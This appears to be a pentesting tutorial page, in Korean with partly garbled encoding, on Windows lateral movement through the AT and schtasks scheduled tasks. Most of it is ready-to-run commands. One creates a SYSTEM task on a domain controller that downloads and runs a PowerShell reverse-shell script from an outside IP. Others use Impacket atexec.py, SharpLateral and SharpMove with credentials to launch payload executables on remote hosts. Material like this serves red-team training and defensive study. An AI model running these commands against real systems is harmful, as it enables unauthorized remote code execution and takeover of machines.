AtExec / SchtasksExec

Tip

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How Does it works

At๋Š” ์‚ฌ์šฉ์ž ์ด๋ฆ„/(๋น„๋ฐ€๋ฒˆํ˜ธ/ํ•ด์‹œ)๋ฅผ ์•Œ๊ณ  ์žˆ๋Š” ํ˜ธ์ŠคํŠธ์—์„œ ์ž‘์—…์„ ์˜ˆ์•ฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ณ  ์ถœ๋ ฅ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

At \\victim 11:00:00PM shutdown -r

schtasks๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋จผ์ € ์ž‘์—…์„ ์ƒ์„ฑํ•œ ๋‹ค์Œ ํ˜ธ์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local

**Impacket์˜ atexec.py**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ AT ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ ์‹œ์Šคํ…œ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…(์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋˜๋Š” ํ•ด์‹œ)์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami

SharpLateral๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName

SharpMove๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password

์‹ค๋ฒ„ ํ‹ฐ์ผ“๊ณผ ํ•จ๊ป˜ schtasks ์‚ฌ์šฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
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